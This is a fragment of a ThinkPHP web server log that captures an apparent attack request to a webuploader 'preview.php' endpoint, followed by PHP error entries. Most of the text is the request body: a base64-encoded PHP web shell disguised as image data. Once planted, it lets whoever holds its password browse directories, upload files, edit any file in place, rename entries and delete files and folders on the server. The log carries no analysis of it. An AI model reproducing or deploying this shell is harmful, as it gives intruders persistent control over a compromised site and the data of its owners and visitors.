'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:33+08:00 ] 119.42.146.234 POST 59.110.137.245/web/static//webuploader/0.1.15/server/preview.php [运行时间:0.002769s] [吞吐率:361.14req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 